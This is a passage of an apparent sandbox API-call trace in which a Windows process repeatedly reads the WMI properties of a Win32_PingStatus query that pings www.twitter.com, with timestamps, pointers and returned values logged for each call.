| out: pVal=0x5bde88c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25964c0*=8, plFlavor=0x25964c4*=64) returned 0x0 [0159.106] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__DYNASTY", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25964e8*=0, plFlavor=0x25964ec*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25964e8*=8, plFlavor=0x25964ec*=64) returned 0x0 [0159.107] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.107] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.107] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__RELPATH", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2596540*=0, plFlavor=0x2596544*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2596540*=8, plFlavor=0x2596544*=64) returned 0x0 [0159.107] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0159.107] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0159.107] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259671c*=0, plFlavor=0x2596720*=0 | out: pVal=0x5bde88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x259671c*=3, plFlavor=0x2596720*=64) returned 0x0 [0159.107] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__DERIVATION", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2596750*=0, plFlavor=0x2596754*=0 | out: pVal=0x5bde88c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8afd0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f85220, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2596750*=8200, plFlavor=0x2596754*=64) returned 0x0 [0159.107] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__SERVER", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2596784*=0, plFlavor=0x2596788*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2596784*=8, plFlavor=0x2596788*=64) returned 0x0 [0159.107] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0159.107] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0159.108] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25967d0*=0, plFlavor=0x25967d4*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x25967d0*=8, plFlavor=0x25967d4*=64) returned 0x0 [0159.108] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0159.108] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0159.108] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__PATH", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259681c*=0, plFlavor=0x2596820*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x259681c*=8, plFlavor=0x2596820*=64) returned 0x0 [0159.108] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0159.108] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0159.108] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde8d0 | out: puCount=0x5bde8d0*=0x2) returned 0x0 [0159.108] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde8cc*=0x0, pszText=0x0 | out: puBuffLength=0x5bde8cc*=0xf, pszText=0x0) returned 0x0 [0159.108] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde8cc*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde8cc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.108] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="BufferSize", lFlags=0, pVal=0x5bde8cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2596a54*=0, plFlavor=0x2596a58*=0 | out: pVal=0x5bde8cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x2596a54*=19, plFlavor=0x2596a58*=0) returned 0x0 [0159.108] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="BufferSize", lFlags=0, pVal=0x5bde980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2596a54*=19, plFlavor=0x2596a58*=0 | out: pVal=0x5bde980*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x2596a54*=19, plFlavor=0x2596a58*=0) returned 0x0 [0159.110] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde860 | out: puCount=0x5bde860*=0x2) returned 0x0 [0159.110] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde85c*=0xf, pszText=0x0) returned 0x0 [0159.110] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.110] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde860 | out: puCount=0x5bde860*=0x2) returned 0x0 [0159.110] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde85c*=0xf, pszText=0x0) returned 0x0 [0159.110] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.110] IWbemClassObject:GetNames (in: This=0x5f6e0e8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde868*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde85c | out: pNames=0x5bde85c*="\x01ƀ\x04") returned 0x0 [0159.110] SafeArrayGetDim (psa=0x5f8aeb0) returned 0x1 [0159.110] SafeArrayGetDim (psa=0x5f8aeb0) returned 0x1 [0159.110] SafeArrayGetLBound (in: psa=0x5f8aeb0, nDim=0x1, plLbound=0x5bde6f4 | out: plLbound=0x5bde6f4) returned 0x0 [0159.110] SysStringByteLen (bstr="__GENUS") returned 0xe [0159.111] SysStringByteLen (bstr="__GENUS") returned 0xe [0159.111] SysStringByteLen (bstr="__CLASS") returned 0xe [0159.111] SysStringByteLen (bstr="__CLASS") returned 0xe [0159.111] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0159.111] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0159.111] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0159.111] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0159.111] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0159.111] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0159.111] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0159.111] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0159.111] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0159.111] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0159.111] SysStringByteLen (bstr="__SERVER") returned 0x10 [0159.111] SysStringByteLen (bstr="__SERVER") returned 0x10 [0159.111] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0159.111] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0159.111] SysStringByteLen (bstr="__PATH") returned 0xc [0159.111] SysStringByteLen (bstr="__PATH") returned 0xc [0159.111] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__GENUS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2597230*=0, plFlavor=0x2597234*=0 | out: pVal=0x5bde858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2597230*=3, plFlavor=0x2597234*=64) returned 0x0 [0159.112] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__CLASS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2597264*=0, plFlavor=0x2597268*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2597264*=8, plFlavor=0x2597268*=64) returned 0x0 [0159.112] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.112] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.112] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25972bc*=0, plFlavor=0x25972c0*=0 | out: pVal=0x5bde858*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25972bc*=8, plFlavor=0x25972c0*=64) returned 0x0 [0159.112] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__DYNASTY", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25972e4*=0, plFlavor=0x25972e8*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25972e4*=8, plFlavor=0x25972e8*=64) returned 0x0 [0159.112] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.112] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.112] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__RELPATH", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259733c*=0, plFlavor=0x2597340*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x259733c*=8, plFlavor=0x2597340*=64) returned 0x0 [0159.112] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0159.112] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0159.112] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2597518*=0, plFlavor=0x259751c*=0 | out: pVal=0x5bde858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2597518*=3, plFlavor=0x259751c*=64) returned 0x0 [0159.113] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__DERIVATION", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x259754c*=0, plFlavor=0x2597550*=0 | out: pVal=0x5bde858*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8af10*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f85220, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x259754c*=8200, plFlavor=0x2597550*=64) returned 0x0 [0159.113] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__SERVER", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2597580*=0, plFlavor=0x2597584*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2597580*=8, plFlavor=0x2597584*=64) returned 0x0 [0159.113] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0159.113] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0159.113] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25975cc*=0, plFlavor=0x25975d0*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x25975cc*=8, plFlavor=0x25975d0*=64) returned 0x0 [0159.113] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0159.113] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0159.113] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__PATH", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2597618*=0, plFlavor=0x259761c*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2597618*=8, plFlavor=0x259761c*=64) returned 0x0 [0159.113] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0159.113] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0159.113] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde89c | out: puCount=0x5bde89c*=0x2) returned 0x0 [0159.113] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde898*=0x0, pszText=0x0 | out: puBuffLength=0x5bde898*=0xf, pszText=0x0) returned 0x0 [0159.114] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde898*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.114] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="ResponseTime", lFlags=0, pVal=0x5bde898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2597850*=0, plFlavor=0x2597854*=0 | out: pVal=0x5bde898*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11, varVal2=0x0), pType=0x2597850*=19, plFlavor=0x2597854*=0) returned 0x0 [0159.114] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde894 | out: puCount=0x5bde894*=0x2) returned 0x0 [0159.114] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0x0, pszText=0x0 | out: puBuffLength=0x5bde890*=0xf, pszText=0x0) returned 0x0 [0159.114] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.114] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde894 | out: puCount=0x5bde894*=0x2) returned 0x0 [0159.114] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0x0, pszText=0x0 | out: puBuffLength=0x5bde890*=0xf, pszText=0x0) returned 0x0 [0159.114] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.114] IWbemClassObject:GetNames (in: This=0x5f6e0e8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde89c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde890 | out: pNames=0x5bde890*="\x01ƀ\x04") returned 0x0 [0159.114] SafeArrayGetDim (psa=0x5f8afd0) returned 0x1 [0159.114] SafeArrayGetDim (psa=0x5f8afd0) returned 0x1 [0159.114] SafeArrayGetLBound (in: psa=0x5f8afd0, nDim=0x1, plLbound=0x5bde728 | out: plLbound=0x5bde728) returned 0x0 [0159.114] SysStringByteLen (bstr="__GENUS") returned 0xe [0159.114] SysStringByteLen (bstr="__GENUS") returned 0xe [0159.114] SysStringByteLen (bstr="__CLASS") returned 0xe [0159.114] SysStringByteLen (bstr="__CLASS") returned 0xe [0159.114] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0159.114] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0159.115] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0159.115] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0159.115] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0159.115] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0159.115] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0159.115] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0159.115] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0159.115] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0159.115] SysStringByteLen (bstr="__SERVER") returned 0x10 [0159.115] SysStringByteLen (bstr="__SERVER") returned 0x10 [0159.115] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0159.115] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0159.115] SysStringByteLen (bstr="__PATH") returned 0xc [0159.115] SysStringByteLen (bstr="__PATH") returned 0xc [0159.115] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__GENUS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2597c04*=0, plFlavor=0x2597c08*=0 | out: pVal=0x5bde88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2597c04*=3, plFlavor=0x2597c08*=64) returned 0x0 [0159.115] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__CLASS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2597c38*=0, plFlavor=0x2597c3c*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2597c38*=8, plFlavor=0x2597c3c*=64) returned 0x0 [0159.115] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.115] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.115] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2597c90*=0, plFlavor=0x2597c94*=0 | out: pVal=0x5bde88c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2597c90*=8, plFlavor=0x2597c94*=64) returned 0x0 [0159.116] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__DYNASTY", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2597cb8*=0, plFlavor=0x2597cbc*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2597cb8*=8, plFlavor=0x2597cbc*=64) returned 0x0 [0159.116] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.116] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.116] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__RELPATH", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2597d10*=0, plFlavor=0x2597d14*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2597d10*=8, plFlavor=0x2597d14*=64) returned 0x0 [0159.116] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0159.116] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0159.116] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2597eec*=0, plFlavor=0x2597ef0*=0 | out: pVal=0x5bde88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2597eec*=3, plFlavor=0x2597ef0*=64) returned 0x0 [0159.116] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__DERIVATION", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2597f20*=0, plFlavor=0x2597f24*=0 | out: pVal=0x5bde88c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8ae80*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f85220, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2597f20*=8200, plFlavor=0x2597f24*=64) returned 0x0 [0159.116] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__SERVER", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2597f54*=0, plFlavor=0x2597f58*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2597f54*=8, plFlavor=0x2597f58*=64) returned 0x0 [0159.116] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0159.116] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0159.117] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2597fa0*=0, plFlavor=0x2597fa4*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2597fa0*=8, plFlavor=0x2597fa4*=64) returned 0x0 [0159.117] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0159.117] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0159.117] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__PATH", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2597ff8*=0, plFlavor=0x2597ffc*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2597ff8*=8, 